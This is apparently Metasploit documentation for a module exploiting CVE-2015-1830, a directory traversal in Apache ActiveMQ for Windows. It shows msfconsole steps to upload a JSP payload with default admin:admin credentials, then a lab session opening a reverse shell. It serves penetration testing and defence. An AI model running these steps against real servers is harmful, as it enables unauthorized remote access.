metasploit-gs/documentation/modules/exploit/windows/http/apache_activemq_traversal_upload.md

Introduction

A directory traversal vulnerability was discovered in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows. The vulnerability, tracked as CVE-2015-1830, allows remote attackers to create JSP files in arbitrary directories via unspecified vectors.

Because vulnerable servers allow for directory traversal, they will accept HTTP PUT requests for /fileserver/..\\admin\\ and process these as requests for /admin/. For the PUT request to succeed, credentials need to be provided.

This module exploits CVE-2015-1830 by attempting to upload a JSP payload to a target via an HTTP PUT requests for /fileserver/..\\admin\\ using the default credentials admin:admin (or any other credentials provided by the user). It then issues an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the payload and obtain a shell. The module has been succesfully tested against ActiveMQ 5.11.1 on a Windows 7 machine.

Verification Steps

1. Install the module as usual
2. Start msfconsole
3. Do: use exploit/windows/http/apache_activemq_traversal_upload
4. Do: set RHOSTS [IP]
5. Do: set payload [payload]
6. Do: set LHOST [IP]
7. Do: exploit

Options

1. PASSWORD. The default setting is admin.
2. PATH. This option is the traversal path. /fileserver/..\admin\ by default.
3. Proxies. This option is not set by default.
4. RHOSTS. To use: set RHOSTS [IP]
5. RPORT. The default setting is 8161. To use: set RPORT [PORT]
6. SSL. The default setting is false.
7. THREADS. The default setting is 1.
8. USERNAME. The default setting is admin.
9. VHOST. This option is not set by default.
10. TARGETURI. This option is the base path. / by default.

Compatible Payloads

0. generic/custom
1. generic/shell_bind_tcp
2. generic/shell_reverse_tcp
3. java/jsp_shell_bind_tcp
4. java/jsp_shell_reverse_tcp

Payload Options

1. LHOST. To use: set LHOST [IP]
2. LPORT. The default setting is 4444. To use: set LPORT [PORT]
3. SHELL. This option is not set by default.

Scenarios

msf5 exploit(windows/http/apache_activemq_traversal_upload) > show options

Module options (exploit/windows/http/apache_activemq_traversal_upload):

   Name       Current Setting        Required  Description
   ----       ---------------        --------  -----------
   PASSWORD   admin                  yes       Password to authenticate with
   PATH       /fileserver/..\admin\  yes       Traversal path
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.1.2            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8161                   yes       The target port (TCP)
   SSL        false                  no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                      yes       The base path to the web application
   USERNAME   admin                  yes       Username to authenticate with
   VHOST                             no        HTTP server virtual host


Payload options (java/jsp_shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.1      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL                   no        The system shell to use.


msf5 exploit(windows/http/apache_activemq_traversal_upload) > exploit

[*] Started reverse TCP handler on 192.168.1.1:4444 
[*] Uploading payload...
[*] Payload sent. Attempting to execute the payload.
[*] Payload executed!
[*] Command shell session 1 opened (192.168.1.1:4444 -> 192.168.1.2:49194) at 2020-02-04 10:55:36 +0100

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Desktop\activemq 5.11.1\apache-activemq-5.11.1\bin\win64>

References

1. https://www.cvedetails.com/cve/CVE-2015-1830/
2. https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt